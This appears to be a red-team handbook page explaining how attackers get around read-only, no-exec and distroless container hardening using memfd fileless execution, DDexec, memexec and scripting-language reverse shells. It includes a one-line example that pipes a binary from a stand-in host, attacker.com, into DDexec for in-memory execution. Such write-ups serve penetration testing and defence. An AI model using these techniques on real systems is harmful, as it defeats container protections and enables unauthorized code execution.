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Bypass FS protections: read-only / no-exec / Distroless

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Videos

In the following videos you can find the techniques mentioned in this page explained more in depth:

read-only / no-exec scenario

It's more and more common to find linux machines mounted with read-only (ro) file system protection, specially in containers. This is because to run a container with ro file system is as easy as setting readOnlyRootFilesystem: true in the securitycontext:

apiVersion: v1
kind: Pod
metadata:
  name: alpine-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

However, even if the file system is mounted as ro, /dev/shm will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be mounted with no-exec protection, so if you download a binary here you won't be able to execute it.

{% hint style="warning" %} From a red team perspective, this makes complicated to download and execute binaries that aren't in the system already (like backdoors o enumerators like kubectl). {% endhint %}

Easiest bypass: Scripts

Note that I mentioned binaries, you can execute any script as long as the interpreter is inside the machine, like a shell script if sh is present or a python script if python is installed.

However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.

Memory Bypasses

If you want to execute a binary but the file system isn't allowing that, the best way to do so is by executing it from memory, as the protections doesn't apply in there.

FD + exec syscall bypass

If you have some powerful script engines inside the machine, such as Python, Perl, or Ruby you could download the binary to execute from memory, store it in a memory file descriptor (create_memfd syscall), which isn't going to be protected by those protections and then call a exec syscall indicating the fd as the file to execute.

For this you can easily use the project fileless-elf-exec. You can pass it a binary and it will generate a script in the indicated language with the binary compressed and b64 encoded with the instructions to decode and decompress it in a fd created calling create_memfd syscall and a call to the exec syscall to run it.

{% hint style="warning" %} This doesn't work in other scripting languages like PHP or Node because they don't have any default way to call raw syscalls from a script, so it's not possible to call create_memfd to create the memory fd to store the binary.

Moreover, creating a regular fd with a file in /dev/shm won't work, as you won't be allowed to run it because the no-exec protection will apply. {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec is a technique that allows you to modify the memory your own process by overwriting its /proc/self/mem.

Therefore, controlling the assembly code that is being executed by the process, you can write a shellcode and "mutate" the process to execute any arbitrary code.

{% hint style="success" %} DDexec / EverythingExec will allow you to load and execute your own shellcode or any binary from memory. {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexec is the natural next step of DDexec. It's a DDexec shellcode demonised, so every time that you want to run a different binary you don't need to relaunch DDexec, you can just run memexec shellcode via the DDexec technique and then communicate with this deamon to pass new binaries to load and run.

You can find an example on how to use memexec to execute binaries from a PHP reverse shell in https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

With a similar purpose to DDexec, memdlopen technique allows an easier way to load binaries in memory to later execute them. It could allow even to load binaries with dependencies.

Distroless Bypass

What is distroless

Distroless containers contain only the bare minimum components necessary to run a specific application or service, such as libraries and runtime dependencies, but exclude larger components like a package manager, shell, or system utilities.

The goal of distroless containers is to reduce the attack surface of containers by eliminating unnecessary components and minimising the number of vulnerabilities that can be exploited.

Reverse Shell

In a distroless container you might not even find sh or bash to get a regular shell. You won't also find binaries such as ls, whoami, id... everything that you usually run in a system.

{% hint style="warning" %} Therefore, you won't be able to get a reverse shell or enumerate the system as you usually do. {% endhint %}

However, if the compromised container is running for example a flask web, then python is installed, and therefore you can grab a Python reverse shell. If it's running node, you can grab a Node rev shell, and the same with mostly any scripting language.

{% hint style="success" %} Using the scripting language you could enumerate the system using the language capabilities. {% endhint %}

If there is no read-only/no-exec protections you could abuse your reverse shell to write in the file system your binaries and execute them.

{% hint style="success" %} However, in this kind of containers these protections will usually exist, but you could use the previous memory execution techniques to bypass them. {% endhint %}

You can find examples on how to exploit some RCE vulnerabilities to get scripting languages reverse shells and execute binaries from memory in https://github.com/carlospolop/DistrolessRCE.